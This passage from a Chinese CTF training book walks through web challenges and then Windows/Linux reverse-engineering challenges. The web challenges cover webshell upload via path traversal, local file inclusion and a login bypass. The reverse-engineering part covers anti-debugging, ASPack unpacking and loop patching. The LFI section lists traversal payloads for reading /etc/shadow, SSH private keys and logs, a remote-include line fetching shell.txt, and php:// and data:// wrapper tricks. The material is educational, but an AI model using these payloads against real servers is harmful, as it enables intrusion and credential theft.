 开启Burp Suite的抓包模式，上传一句话木马，获得数据包。仔细看一下这个数据包，如果可以跨目录上传，那么这个包里应该会有一个可以修改路径的地方。如图1-103所示，可以看到文件内容、文件名称、文件Session等，但没有看到路径——难道我们猜错了？
 
 再仔细看看，如图1-104所示，发现URL里面有一个fs-path参数，值为“/”。这很可能是一个路径，“/”表示上传目录的根。只要修改这个地址，是不是就可以了？
 
 在路径参数处，将上传文件要写入的Session文件夹修改为“fs-path=../session/”。修改后，单击“Forward”按钮，显示上传成功。通过浏览器访问Shell的地址，使用POST方式提交命令“1=echo 'dir ..\\..\\';”（因为题目网站使用的是Windows服务器，所以要使用dir命令），如图1-105所示。
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  图1-103
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  图1-104
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  图1-105
 
 
 
 在返回结果里看到了flag.php文件。执行“type ..\..\flag.php”命令，获取flag，如图1-106所示。
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  图1-106
 
 
 
 小结
 
 尽管本题看起来并不复杂，但仍需要通过多个知识点来获取flag。
 
 
 1.10　其他Web类赛题
 
 除了前面讲过的赛题类型，在CTF比赛中有时会出现一些冷门的或小众的题目类型，例如包含、逻辑漏洞等。
 
 题目1　LFI
 
 题目概况
 
 从题目标题“LFI”看，可以明确题目考察的是本地文件包含（LFI）漏洞。
 
 在CTF比赛中，经常会遇到这种使用某个漏洞名称来命名的题目。这种题目一般会考察选手对题目标题所指向的漏洞的掌握情况，而且往往只考察单一知识点。
 
 解题思路
 
 打开题目地址，会看到一个超链接，此外什么信息都没有。单击超链接，会跳转到另一个页面，页面上依然什么信息都没有，但仔细观察就会发现，其URL有一些问题（file=show.php）。对Web漏洞有所了解的选手都知道，这是典型的本地文件包含漏洞的格式。
 
 知道了是本地文件包含漏洞，要如何利用它呢？本地文件包含漏洞是指，在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验而操作了预想外的文件，可能导致意外的文件泄露甚至恶意代码注入的情况，最常见的形式是本地包含。
 
 在实际渗透测试中，本地文件包含漏洞的利用往往要配合上传：首先上传一个图片格式的WebShell，然后利用本地文件包含漏洞读取WebShell，以PHP来执行，从而获取目标权限。可是，本题没有上传功能，这种方法也就无法使用了，只能直接读取文件。从当前URL里可以知道，有两个文件存在，分别是index.php、show.php。
 
 包含读取index.php文件，可以看到，返回了一个空白页面。直接读取index.php文件，可以进行操作，但读不到文件内容，如图1-107所示。
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  图1-107
 
 
 
 通过本地文件包含漏洞读取文件内容，需要利用伪协议PHP流。PHP本身支持很多协议，例如FTP、HTTP、PHP、FILE等。PHP会对这些协议执行一些操作。例如，PHP会通过FILE协议读取服务器中的文件（利用的就是php://filter/）。
 
 如图1-108所示，根据PHP官方网站的介绍，php://filter是一种元封装器，用于在打开数据流时进行筛选过滤。这对一体式（All-in-One）的文件函数（例如readfile()、file()和file_get_contents()）非常有用，在数据流内容被读取之前，没有机会应用其他过滤器。
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  图1-108
 
 
 
 尽管使用read参数可以读取相应的文件，但并不是直接读取的。PHP官方网站给出的实例告诉我们，还需要对内容进行加密，如图1-109所示。
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  图1-109
 
 
 
 我们在题目里面尝试一下。在“file”后面的地址栏中输入“php://filter/read=convert.base64-encode/resource=index.php”，然后将index.php的内容返回并使用Base64进行加密。如图1-110所示，将返回加密后的内容。
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  图1-110
 
 
 
 接下来，只要解密即可。
 
 使用HackBar进行解密，获取flag，如图1-111所示。
 
  
  [image: ] 
  图1-111
 
 
 
 相关知识点
 
 （1）本地文件包含漏洞概述
 
 本地文件包含漏洞是PHP函数在引入文件时未对文件名进行严格的验证而导致的文件泄露及代码注入漏洞。
 
 我们先看一个例子。
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 aaa.php文件用于引入file参数的值。1.txt是一个文本文件，其内容是一段用于输出phpinfo的PHP代码，访问该文件本身不会执行里面的PHP代码。但是，如果通过aaa.php文件访问1.txt文件，就会执行phpinfo，即1.txt文件被包含了，如图1-112所示。
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  图1-112
 
 
 
 （2）普通的本地文件包含漏洞
 
 • 可以包含同一目录下的文件：?file=.htaccess。
 
 • 目录遍历：?file=../../../../../../../../../var/lib/locate.db；?file=../../../../../../../../../var/lib/mlocate/mlocate.db”。在Linux中，这两个文件储存了所有文件的路径，需要root权限才能访问。
 
 • 包含错误日志：?file=../../../../../../../../../var/log/apache/error.log。
 
 • 获取Web目录或其他配置文件：?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf。
 
 • 包含上传的附件：?file=../attachment/media/xxx.file。
 
 • 读取Session文件：?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7。
 
 在Linux中，如果拥有root权限，可以尝试读取以下文件。
 
 • /root/.ssh/authorized_keys。
 
 • /root/.ssh/id_rsa。
 
 • /root/.ssh/id_rsa.keystore。
 
 • /root/.ssh/id_rsa.pub。
 
 • /root/.ssh/known_hosts。
 
 • /etc/shadow。
 
 • /root/.bash_history。
 
 • /root/.mysql_history。
 
 • /proc/self/fd/fd[0-9]*(文件标识符)。
 
 • /proc/mounts。
 
 • /proc/config.gz。
 
 以上介绍的是在正常情况下可以进行的操作。在某些时候，我们会遇到一些限制，示例如下。
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 这时就需要进行截断，即断开“.html”。下面给出两种常用的截断方法。
 
 • %00截断：?file=../../../../../../../../../etc/passwd%00（需要magicquotesgpc=Off，PHP版本低于5.3.4）。
 
 • %00截断目录遍历：?file=../../../../../../../../../var/www/%00（需要magicquotesgpc=Off，使用UNIX文件系统，例如FreeBSD、OpenBSD、NetBSD、Solaris）。
 
 还有一种包含是远程文件包含。本地文件包含是指包含服务器本地的文件，而远程文件包含是指包含一个有远程地址的文件，示例如下。
 
 • 远程代码执行：?file=[http|https|ftp]://example.com/shell.txt（需要allowurlfopen=On且allowurlinclude=On）。
 
 • 利用PHP流输入：?file=php://input（需要allowurlinclude=On，详情见链接1-3）。
 
 • 利用PHP流过滤：?file=php://filter/convert.base64-encode/resource=index.php。
 
 • 利用Data URI：?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=（需要allow_url_include=On）。
 
 题目2　突破登录
 
 题目概况
 
 以登录页面为开始页面，这种方式在CTF比赛过程中比较多见。
 
 解题思路
 
 题目页面是一个登录页面，如图1-113所示。
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  图1-113
 
 
 
 从题目中我们无法得到更多的信息，唯一的入手点就是这个登录框了。先进行一些常规的测试，例如注入、弱口令，结果都没有作用，所以，只能想办法进行其他测试。使用Burp Suite进行抓包，看看在发送POST包时都发送了哪些数据。我们发送的POST包包含3个参数，分别是login、password、group，如图1-114所示。
 
 修改group的值，查看返回结果，如图1-115所示。
 
 得到了一个奇怪的错误“PDOException：1044”。搜索这个错误的信息，发现PDO是一个用于连接数据库的函数，结构如下。
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  图1-114
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  图1-115
 
 
 
 在帮助文档中有一段代码，具体如下。
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 可以看出，group参数可能是示例中的dbname。
 
 将group的参数修改一下，如图1-116所示。
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  图1-116
 
 
 
 这时可以确认，group参数就是示例中的dbname。按照这种思路，如图1-117所示，在本地搭建一个数据库，开放对服务器的访问权限，通过抓包得到连接信息，然后建立一个相同的数据库来存储账号和密码，就可以成功登录了。
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  图1-117
 
 
 
 使用Wireshark可以看到“user=erpay”“db=users”。按照这种格式创建erpay用户，然后查看流量，可以看到auth查询的详情，如图1-118所示。
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  图1-118
 
 
 
 在本地数据库中创建相同的账号和密码，如图1-119所示。再次尝试登录，登录成功，获得flag，如图1-120所示。
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  图1-119
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  图1-120
 
 
 

  第2章　可执行程序类赛题


  本章将介绍CTF比赛中常见的可执行程序类赛题。

 
 2.1　Windows中的可执行程序
 
 本节涉及Windows下可执行程序的逆向技术，通过flag查找、序列号破解、算法逆向分析等题目，使读者对相关知识形成基本的认知。
 
 题目1　逆向和调试基础
 
 题目概况
 
 这是一道基础的flag查找题目，在调试器存在的情况下会产生flag（题目来自CSWA CTF）。题目描述中说，这道题是根据前一年的题目改编的，并通过附件提供了原版题目程序（名为csaw2013reversing2_2013.exe），有兴趣的读者可以在做完本题后进行尝试。
 
 题目的说明是“We got a little lazy so we just tweaked an old one a bit”（我们懒得出题了，所以直接改了个旧题目凑数）。
 
 解题思路
 
 题目文件的后缀为“.exe”。根据常识，这是Windows下的可执行文件。很多选手会习惯性地双击运行可执行文件，看一下到底会发生什么。这种想法没有错。根据经验，有些出题人会在题目的文件名后随便添加一个扩展名，如果选手在Windows中双击文件，系统就会自动调用与此扩展名相关的程序。例如，笔者曾经遇到一道题目，将一个Linux下的ELF（Executable and Linking Format）文件（当然，在打开之前并不知道）的扩展名改成了exe，如果在Windows中打开这个文件，就会弹出一个写着“此文件的版本与正在运行的Windows版本不兼容”的对话框。尽管弹出此对话框可能是因为在32位系统中运行了64位的程序，但也有可能是上面提到的这种情况。
 
 上面提到的这个问题，对解题来说难度不大，在这里提及，只是为了提醒读者在解题过程中要养成良好的习惯。例如，在Linux中可以使用file工具查看题目提供的文件是什么类型的，在macOS中可以使用TrID工具完成这项操作。虽然Windows没有提供类似的命令行工具，但我们可以使用WinHex查看文件头，如果有足够的积累，那么只看一个文件的前几个字节，就能够判断文件的类型了。
 
 既然可以确认这道题中的文件为Windows下的可执行文件，就先利用PEiD等工具看一下文件使用了哪种编程语言，以及是否已经加壳，为后续的解题多收集一些信息——“作战”需要知己知彼。这道题给出的文件没有加壳，是使用VC编写的。
 
 运行程序，弹出了一个对话框，标题为“Flag”，对话框中的内容是乱码，还有3个按钮，如图2-1所示。
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  图2-1
 
 
 
 单击其中任意一个按钮，程序都会退出——有些摸不到头脑。下面使用工具来调试或反编译这个程序。每个人可能都有自己习惯使用的工具，在这里使用两款常用的工具，分别是IDA和OllyDbg（在本题的“相关知识点”部分会重点介绍这两款工具）。
 
 因为程序弹出的对话框的标题是“Flag”，所以猜测题目中可能存在一个需要我们解密的flag。使用IDA将EXE文件载入，并寻找调用此对话框的地方。由于本题的程序代码非常少，所以在使用IDA加载程序后，不仅可以直接看到程序的流程图，还可以准确定位“Flag”对话框，如图2-2所示。
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  图2-2
 
 
 
 IDA加载程序后，一般会先显示流程图。在流程图的空白位置单击，就可以拖动流程图。在此界面中选择一个位置，然后按“空格”键，就会顺序显示此位置的汇编代码。例如，单击图2-2中的“call ds:IsDebuggerPresent”位置，然后按“空格”键，就会显示如图2-3所示的内容。IDA不仅可以顺序显示汇编代码，还可以显示代码的相对偏移地址，这对动态调试而言有重要的定位作用。
 
  
  [image: ] 
  图2-3
 
 
 
 有了流程图之后，也可以选择某个位置，按“F5”键反编译此位置的代码。本题程序的main()函数只有约20行代码，具体如下。
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 图2-3中的两个分支是由以上代码中的if条件引起的，其中有一个IsDebuggerPresent()函数，用于确定调用进程是否是由用户模式的调试器来调试的。只有当前进程在调试器的上下文中，且返回值为非零值，才会进入if代码段。
 
 下面看一下我们需要的flag值是如何产生和输出的。通过以上代码可以知道，我们需要的flag值是由MessageBoxA中的lpMem提供的，而lpMem的值除了在初始化时被定义，就是在if代码段的sub_401000()函数中被改变了。因为正常运行程序（不使用调试器）是不会进入if代码段的，所以，在正常运行程序时，lpMem在初始化后将直接被MessageBoxA弹出，对话框中会显示乱码。
 
 既然flag需要在调试器中产生，那么让我们请出动态调试利器OllyDbg。在这里要提醒读者的是，在利用OllyDbg调试程序时，系统最好是新安装的Windows XP（其原因将在“相关知识点”中给出）。为什么要使用新安装的系统呢？此时系统中没有安装多余的软件，当然就没有安装很多可能影响调试的底层软件。推荐在本地计算机中安装虚拟机，在虚拟机中新安装一个Windows XP系统进行调试。对于一些对操作系统有要求的调试操作，请忽略此建议。
 
 OllyDbg版本的选择，请读者自行决定。因为原版的OllyDbg已经不再更新了，现在普遍使用的是经过汉化、增加了插件和新功能的版本，所以，当我们按照某本书或某篇文章的内容利用OllyDbg调试程序，却无法得到相同的结果时，不要担心，换个版本试试看。在解答本题时，笔者使用的是原版的OllyDbg。
 
 使用OllyDbg将程序载入（可以按“F3”键选择文件，也可以将程序拖入OllyDbg）。因为我们需要的flag是在if代码段中产生的，所以定位到该位置。在IDA中，按“空格”键，定位到IsDebuggerPresent()函数处，可以看到它的偏移为0x108c。在OllyDbg中，按“Ctrl+G”快捷键跳转到该位置（因为需要加上程序的基址0x400000，所以填写的内容为“0x40108c”），按“F2”键设置一个断点，然后按“F9”键运行程序，程序将在此处中断，如图2-4所示。
 
 下面两行代码将进行if判断。我们知道，如果IsDebuggerPresent()函数返回非零值，就代表程序处在调试状态，后面的“je”将不会跳转，而是继续执行。按“F8”键，步过并继续执行程序。在运行到int 3指令时，程序没有跳过，而是转到了系统领空。
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  图2-4
 
 
 
 介绍一下int 3指令。INT3是断点的一种，机器码为CC。在OllyDbg中按“F2”键设置断点时，就利用了int 3指令。当被调试进程执行int 3指令导致一个异常时，调试器就会捕捉这个异常，从而停在断点处，然后将断点处的指令恢复成原来的指令。但是，由于我们解答本题时在代码中直接写了一个int 3指令（这将导致OllyDbg无法修改程序，此异常会被系统接管，在系统中又找不到处理此异常的方法），所以，只能使用终极手段“退出程序”了。
 
 是不是每次遇到这种情况都要退出程序？这还怎么解题？当然有解决方法。
 
 • 单击OllyDbg中的“Options”→“Debugging Options”→“Exceptions”选项，取消勾选“INT3 breaks”选项。
 
 • 在OllyDbg中选择int 3指令这一行，按“空格”键，填写“nop”，然后单击“确定”按钮。
 
 以上两种方法都可以解决退出程序的问题。笔者使用第一种方法，按“F8”键向下运行两行，发现调用了0x00401000处。由于我们要的flag就是在这个函数中计算出来的，所以，运行到此行时按“F7”键跟进。这个函数的汇编代码，如图2-5所示。
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  图2-5
 
 
 
 要想通过阅读汇编指令得到此算法的逻辑，还是需要一定功力的。因为我们现在想要的只是最终的答案，所以可以跳转到此代码段的最后，直接找出结果。
 
 由于按“F8”键将进行单步调试，其中有两个循环，一个用于获取一些字符串，另一个用于对字符串进行异或，需要花费很长时间，所以，我们可以单击0x00401027处，然后按“F4”键，直接让程序运行到这里，看看内存中是否有需要的内容。
 
 程序运行到0x00401027处，部分寄存器和内存的状态如下。
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 这样就得到了最终的答案。我们再看一下IDA中反汇编的逻辑，具体如下。
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 虽然完成对sub_401000()函数的调用就会退出进程，但程序马上就要弹出对话框了，我们已经得到的flag也在其中。因为在正常情况下程序是不会运行到这里的，所以我们需要进行一些修改。
 
 如图2-2所示，MessageBoxA的地址是0x004010B9，因此将跳转到ExitProcess()函数的指令改成跳转到接下来的MessageBoxA即可，汇编代码如下。
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 “jmp short 004010EF”的意思是跳转到ExitProcess()函数处。我们将其改成前面提到的MessageBoxA的地址0x004010B9，即“jmp short 004010B9”，然后按“F9”键，运行程序，弹出的对话框如图2-6所示。
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  图2-6
 
 
 
 到这里，题目就解出来了。
 
 很多逆向题目都是按照这种思路解答的：除了不同语言的逆向题目需要选手分别掌握其方法，大部分的题目描述中都会包含算法，通过在程序中设置各种“坑”来迷惑选手，但归根结底，答案都是由算法得出的（这道题也不例外，0x00401000处的汇编代码就是本题的算法）。
 
 尽管通过阅读汇编指令得到算法的逻辑是有很大难度的，但好在我们手上有反汇编利器IDA。将以上汇编代码反汇编为C语言代码，具体如下。
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 以上算法代码是通过原始字符串得到的。很多逆向题目都会给出加密字符串，让选手通过逆向算法得出原文。新建一个C语言工程，根据算法得到最终的flag，具体如下。
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 以上代码中的变量a2就是用于初始化lpMem的字符串，v2=0xDDCCAABB就是要进行异或的内容。它们被IDA反编译后，都将存在于程序的数据段中并由一个地址来标识。以上代码只是将它们导出而已，编译并运行一下，就可以得到最终的答案。
 
 相关知识点
 
 为什么建议在Windows XP中调试程序
 
 在使用OllyDbg调试程序时，可能需要更改程序的流程（跳转到其他地址），也可能需要跳转到一个明确的地址。当我们修改程序流程或写出漏洞利用程序后，这个地址就确定了。如果将程序放到其他系统中运行，尽管也能正常运行，但这样做的危害很大。微软也意识到这一点并提供了ASLR技术，通过加载程序时不再使用固定基址的保护机制来干扰恶意用户定位程序地址的操作。
 
 实际上，ASLR的概念在Windows XP中就已经提出了，只不过它在Windows XP中的功能有限，只能对PEB和TEB进行简单的随机化处理，无法对模块的加载基址进行随机化处理。直到Windows Vista出现，ASLR才真正发挥了作用。
 
 这就回答了新手们经常会问的一个问题：为什么在Windows 7中使用OllyDbg调试程序，每次载入程序或重新运行程序时，程序的基址都会改变？其实，并非绝对如此。可能是出于对兼容性的考虑，微软在系统中设置了映像随机化开关，用户可以通过设置注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages来设置映像随机化工作模式。如果注册表中不存在MoveImages项，则可以手工创建。当类型为DWORD，值为0时，映像随机化工作模式将被禁用。
 
 尽管本书不是介绍软件使用的图书，但也会涉及一些软件的用法，例如在Windows动态调试中一定要使用OllyDbg（OllyDbg是这方面的强者）。当然，其他很多软件也能用于进行动态调试，例如IDA。
 
 我们对IDA的最初印象可能停留在将程序载入后按“F5”键进行反编译。其实，IDA还有很多功能。下面介绍如何使用IDA进行调试，以得到本题的答案。
 
 使用IDA将程序载入，定位IsDebuggerPresent()函数，然后按“F2”键设置一个断点。IDA的调试快捷键和OllyDbg类似，按“F4”键可以运行到光标所在行，按“F7”键可以步入，按“F8”键可以步过，按“F9”键可以运行程序。
 
 设置断点后，选择菜单栏中的“Debugger”选项。如果是第一次用IDA调试程序，则只能看到一个选项“Select Debugger”。如果曾经使用IDA进行调试，就会看到很多关于调试的选项。选择“Switch Debugger”选项，会弹出一个用于选择调试器的对话框，如图2-7所示。
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  图2-7
 
 
 
 单击选中“Local Win32 debugger”单选按钮，然后单击“OK”按钮。按“F9”键开始运行程序，如无问题，程序会在已经设置的断点处中断，如图2-8所示。
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  图2-8
 
 
 
 因为现在程序正在调试器中运行程序，所以IsDebuggerPresent会返回非零值，程序会继续运行。按“F8”键进行单步调试，到达int 3指令后，IDA会弹出一个警告对话框，提示我们程序遇到异常。不用理会此异常，关闭该警告对话框。再进行一次单步操作，弹出了一个对话框，如图2-9所示，询问我们是否要忽略此异常，如果不忽略，就会将程序控制权交给程序的异常处理机制。我们知道，此程序没有定义异常处理机制，如果不忽略此异常，那么此异常将被提交给操作系统，而操作系统会使用它最擅长的“退出程序”进行处理，所以，应单击“No (discard)”按钮，忽略此异常。
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  图2-9
 
 
 
 这样，程序就会运行到“call sub_401000”处。在本题的“解题思路”部分提到过，这就是本题的算法部分。其实，和在OllyDbg中一样，在此处按“F7”键，即可进入前面给出的算法汇编部分。使程序运行到“pop edi”这一行（截图就不给出了，请读者参考本题“解题思路”部分的相关内容），计算结果就在EDX寄存器中，值为0x003107E0。通过内存窗口跳转到此位置，就能看到完整的flag了，如图2-10所示。
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  图2-10
 
 
 
 小结
 
 通过这道简单的题目，我们了解了OllyDbg和IDA的一般用法。将这两个软件配合使用，可以在Windows程序逆向中起到事半功倍的作用。
 
 OllyDbg是一款Windows调试工具，只能调试Windows可执行文件。IDA支持数十种处理器，几乎可以反编译我们能见到的所有程序。所以，在遇到Windows以外的应用程序时，可以结合使用IDA和该类型程序的专用调试软件。
 
 题目2　脱壳并找出序列号
 
 题目概况
 
 本题提供的EXE文件进行过简单的加壳，因此在破解序列号之前需要进行脱壳处理（题目来自Sharif University Quals CTF）。选手需要先使用OllyDbg对其进行手工脱壳，再使用IDA对程序进行分析。
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 解题思路
 
 题目给出了一个Windows可执行文件。使用PEiD查看程序使用的编程语言，并了解其是否加过壳，如图2-11所示。
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  图2-11
 
 
 
 程序是由ASPack 2.12加壳的。ASPack是一个高效的Win32可执行程序压缩工具，能够对程序员开发的32位Windows可执行程序进行压缩（能使文件“体积”减小约70%）。
 
 市面上有很多功能不一的壳，能够对加壳后的可执行程序进行保护。但是，这提高了分析难度。因为加壳时会对原程序的内容进行修改，只有程序被加载之后才能将程序还原（本题“相关知识点”部分会介绍壳的原理），所以，只有在进行动态调试时才能跟踪原程序的流程，使用IDA等静态分析工具无法将原程序的代码编译出来。使用IDA加载此程序后的提示信息，如图2-12所示。
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  图2-12
 
 
 
 IDA提示此程序的输入表被破坏了。因为一般的壳会对输入表进行加密，或者直接打乱输入表，然后由自己的代码接管，所以，逆向人员在分析加过壳的软件时都要先进行脱壳。这道题目也不例外，下面介绍如何脱掉本题程序的壳。
 
 还是安全行业的那句老话：有攻就有防。因为ASPack的壳已经出现很长时间了，所以网上已经出现了针对它的脱壳程序。既然知道了壳的版本，就可以搜索相应版本的脱壳软件。不过，笔者在答题时没有找到可用的脱壳软件，所以，还是使用最原始和最有效的方法，也就是手工脱壳。
 
 使用OllyDbg将程序载入。第一次使用OllyDbg将程序载入时，可能会提示入口点错误，询问我们是否要继续分析，选择继续分析即可。在这里可以按照ESP定律，假设壳是一个子程序，壳在代码解压前和解压后必须要做的是，遵循堆栈平衡原理，让ESP寄存器执行到OEP时使ESP寄存器的值等于其调用壳程序之前的值。
 
 使用OllyDbg载入程序后，可以看到类似如图2-13所示的代码。
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  图2-13
 
 
 
 入口处是pushad指令，用于执行寄存器统一入栈操作。因此，我们可以使用ESP定律来解题。按“F8”键，跳转到下一行，看看ESP寄存器的值，如图2-14所示。
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  图2-14
 
 
 
 在寄存器窗口，ESP寄存器将显示为红色。复制对应的地址0x0018FF8C，在OllyDbg的命令行窗口中设置硬件断点（命令为hr），然后加上刚刚复制的地址，按“回车”键。单击“调试”→“硬件断点”选项，就能看到已经设置的断点了，如图2-15所示。
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  图2-15
 
 
 
 既然断点已经设置好，那么直接按“F9”键运行程序，程序就会在断点处中断。可以看到，发生了JNZ（Jump if Not Zero，结果不等于0就跳转），而且是从红色的ESP寄存器开始向下跳转。红色代表跳转已经实现，方向为向下，到达0x00417420处。向这个地方压（push）一个地址，通过retn方式返回。此时，单击“调试”→“硬件断点”选项，删除之前通过hr命令添加的硬件断点，然后，按“F7”键进行单步调试，即可到达程序真正的入口点，地址为0x004016BB。在此处单击右键，在弹出的快捷菜单中选择“用OllyDump脱壳调试进程”选项，会显示如图2-16所示的界面。
 
  
  [image: ] 
  图2-16
 
 
 
 此时，不需要改任何内容，单击“脱壳”按钮并选择保存位置即可。脱壳后，程序可以正常运行。在程序界面中有两个文本框和一个按钮，分别输入一个格式正确的邮箱地址和一个由任意字符组成的序列号，提示信息如图2-17所示。
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  图2-17
 
 
 
 既然已经有了脱壳成功的程序，我们就用IDA看看程序的伪代码。因为本题程序的代码量不大，所以可以从程序入口开始浏览代码。但是，如果程序的代码量非常大，那么从头开始浏览代码就不够明智了。在这里，我们使用一个偷懒的方法——查看字符串，原理是：在使用错误的信息注册时，弹出的对话框中有字符串，而代码中调用此字符串的位置离注册功能的逻辑代码不远。
 
 使用IDA加载程序，然后选择“View”→“Open subviews”→“Strings”选项，浏览出现的字符串窗口，发现了我们需要的内容，如图2-18所示。
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  图2-18
 
 
 
 双击此处，会来到此字符串在程序数据段中的位置。按“Ctrl+X”快捷键，会显示引用这个字符串的位置，如图2-19所示。
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  图2-19
 
 
 
 跳转到调用此字符串的汇编代码位置，然后按“F5”键进行反汇编。可以看出，程序的验证流程就在这里。关键代码如下。
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 这段验证代码非常简单，我们不用编写程序进行计算，直接分析就能得到答案。首先判断邮箱格式是否正确，然后判断注册码的长度是否等于16。如果二者都正确，就判断验证码中的每一位是否正确。
 
 判断每一位，就是比较此位字符串的十六进制值是否和给定的值相同。通过简单的笔算即可得到结果：BZ9dmq4c8g9G7bAY。
 
 有些时候，程序员为了防止分析人员定位字符串，会对需要显示的字符串进行保护。例如，本题注册错误对话框中的内容“Registration failure.”就被写成了十六进制值，所以我们无法通过搜索字符串找到它。好在本题没有对所有的字符串进行这样的处理，否则我们将无法通过以上思路答题。
 
 在解答本题时，我们使用的解题方法是直接分析代码。其实，使用OllyDbg的动态调试功能也可以方便地解答本题：在程序进行序列号比较时，直接从寄存器中查看参加比较的值，然后将其拼成序列号。这个方法在此就不详细讨论了，读者可以自己尝试一下。
 
 相关知识点
 
 壳的原理和种类
 
 在计算机软件中有一段专门负责保护软件不被非法修改和反编译的程序。它们附加在原程序中，通过Windows加载器载入内存，先于原程序运行以得到控制权，在执行过程中对原程序进行解密和还原，再将控制权还给原程序，执行原程序的代码。加过壳的程序是以加密的形式在磁盘上存储的，而这样做可以有效防止破坏者对程序的非法修改和静态反编译。
 
 不同的壳，侧重点不同。流行的加壳方式大致分为以下3种。
 
 • 压缩壳：可以减小软件的“体积”，加密保护不是其重点。比较好用且名气较大的压缩壳有UPX、ASPack、Nspack、PECompact等。
 
 • 加密壳：根据侧重点不同分为不同的种类，有单纯用于保护程序的壳，也有能够提供使用次数、时间限制等功能的壳。常见的加密壳，包括ASProtect、EncryptPE、EXECrptor、Armadillo、Themida等。
 
 • 虚拟机保护壳：将一系列指令解释成字节码并放在一个解释引擎中执行，从而对软件进行保护。虚拟机运行时，会先根据自定义的指令系统把已知的机器指令解释成字节码并放在可执行文件中，再把原程序代码删除。
 
 分析者如果想跟踪虚拟机内的代码执行、理解程序的流程，就必须对虚拟机引擎进行深入的分析，得到完整的原程序代码和字节码的对应关系，其复杂程度可想而知。所以，虚拟机保护壳是以上3种壳中最难破解的。常见的虚拟机保护壳有VMProtect、WProtect。
 
 题目3　逆向算法分析和修改
 
 题目概况
 
 本题使用了一个耗时很长的算法来生成flag（题目来自Hack You CTF）。选手需要将其修改，以避免不必要的耗时，进而获取flag。
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 解题思路
 
 本题给出了一个没有加壳的EXE文件。题目描述很有意思，大意是：本文件会将flag计算出来，但是需要等待。其实，刚看到题目时笔者不是很明白它的意思。打开程序可以知道，这是一个Windows控制台程序，界面上只显示“Your flag is:”字样，等了很久也没有输出。在任务管理器中可以看到，此进程一直占用25%的CPU。笔者在答题时真的等了很久，最终还是放弃并关闭了程序。
 
 使用IDA将程序载入，很容易就能找到计算flag的关键位置：一种方法是找到main()函数，然后进行一次跟踪；另一种方法是在IDA的字符串窗口找到提示字符串“Your flag is:”的位置，然后寻找引用它的地方，部分代码如下。
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 通过以上代码就能了解题目的大致流程了。定义一个长度为32位的整数型数组，将其全部用整数1填充，然后调用几个函数并向其中传入一个非常大的数值来计算此数组中的每一位。调用的函数一共有3个，分别是sub_401100()、sub_401100()、sub_401220()。这3个函数的主要功能就是循环，在循环中进行简单的计算，循环次数就是调用者传入的那个非常大的数值。
 
 sub_401100()函数的代码，具体如下。
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 虽然以上代码中定义了多个局部变量，而且每个变量在接下来的运算中都被使用了，但是仔细思考一下就会发现：因为传入的a1就是flag数组的值，传出的也是这个值，所以在这个函数中我们只要关心包含a1的计算即可（其他无关紧要的计算可以省略，从而节省时间）。
 
 例如，以上代码中v4的循环。由于v4被赋值为a2（也就是调用者传入的那个非常大的数值），第一次传入时此值为10亿，也就是说，v4的while循环要进行10亿次，而其中包含a1的操作只是每循环一次a1的值减1而已，所以，此操作完全没有必要使用循环来完成，使用“*a1-=v4”就能解决。
 
 再如，以上代码中v5的循环。虽然其值为-1，但是其类型为sugned int，故v5的循环要进行21亿次，而其中包含a1的计算也是根据循环次数每次加1，所以，此循环可以简化为“*a1 += v5”。
 
 在结果不变且去掉了不必要的循环的情况下，可以将以上函数写成如下形式。
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 经过这样的精简操作，就能节省很多时间。如法炮制，对剩下的两个函数进行这样的操作。对于sub_401100()函数，其第一个while循环无法简化，第二个循环可以直接去掉。对于sub_401220()函数，其第一个循环可以简化为“a1 += v3”，第二个循环可以简化为“a1 += v4”。
 
 接下来，需要新建一个C++工程，将flag计算出来。其实，IDA给出的反编译代码等同于真实的代码，但其中有些数据的类型可能不是C++的，我们只需要将其改为C++中对应的数据类型即可。经过简单的修改，原程序的计算过程就变为下面的形式。
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 因为笔者是在Visual Studio中进行编译的，所以，如果在生成程序时使用Release模式，就会在瞬间产生结果。程序运行后，得到的结果为“Your flag is:CTF{daf8f4d816261a41a11 5052a1bc21ade}”。
 
 通过以上方法虽然得到了最终的结果，但操作比较复杂。其实，我们只需要用OllyDbg对浪费时间的循环进行修补（Patch）。下面介绍sub_401000()函数的第一个循环的修补过程。sub_401000()函数的第一个循环的代码如下。
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 此循环所做的就是进行“*a1-v4”操作。以上代码的汇编代码如下。
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 在这段汇编代码中，“local.6”就是循环中的v4，“arg.1”就是a1，“sub ecx,0x1”就是每次循环a1-1，“sub ecx,0x1”就是每次循环v4-1。无条件跳转到开始处的cmp指令位置，与0进行比较。以上代码修改如下。
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 修改后的汇编代码让a1直接减v4，然后将v4置0。这样，就可以在实现功能的基础上省略循环了。
 
 读者可以根据以上方法，对其他浪费时间的循环进行修补。
 
 相关知识点
 
 使用本节介绍的第二种方法修改文件，也能得到答案，但不如编程的速度快，其原因如下。
 
 • 我们参考的反汇编代码是经过IDA优化的，其中一些IDA认为无关程序功能的代码会被优化掉，不在反汇编得到的C语言代码中体现，而我们在通过编程得到flag值时，也是按照经过优化的代码编写的，所以，第一种方法的速度快一些。
 
 • 在直接修改OllyDbg中的汇编代码时，OllyDbg将会原封不动地呈现程序的汇编指令，但由于我们只修改了其中的关键循环指令，没有去掉被IDA优化掉的那部分指令，所以，第二种方法的速度慢一些。
 
 
 2.2　Linux中的可执行程序
 
 本节主要介绍Linux下的逆向工程题目，涉及加解密、反调试、系统调用分析等方面的知识。读者可以通过这些题目，对Linux下的逆向工具形成初步的认知，并完成一些基础的逆向工作。
 
 题目1　逆向分析算法解密
 
 题目概况
 
 本题的ELF文件需要选手读取一个特定的密钥文件（Key File），以输出flag（题目来自ASIS Cyber Security Contest）。
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 解题思路
 
 因为题目给出的文件没有后缀，所以，可以使用WinHex查看文件头标志，也可以将文件放到Linux中，使用file命令查看其类型。
 
 在这里，将文件放入Linux并执行file命令，提示“XZ compressed data”。
 
 XZ压缩读者可能比较陌生，但是在CTF比赛中，很多出题者已经使用此种压缩方式命题了。因为很多发行版Linux操作系统自带XZ工具，所以，可直接执行“xz -dk license_6bd767a60b4a0e768b6b0d4c08bd1752.xz”命令将文件解压。
 
 认真的读者可能会发现，解压的文件后缀为“.xz”。这个后缀是手动添加的（如果不添加此后缀，XZ工具会提示文件有无法识别的后缀）。
 
 解压后的文件和题目提供的文件，文件名相同。
 
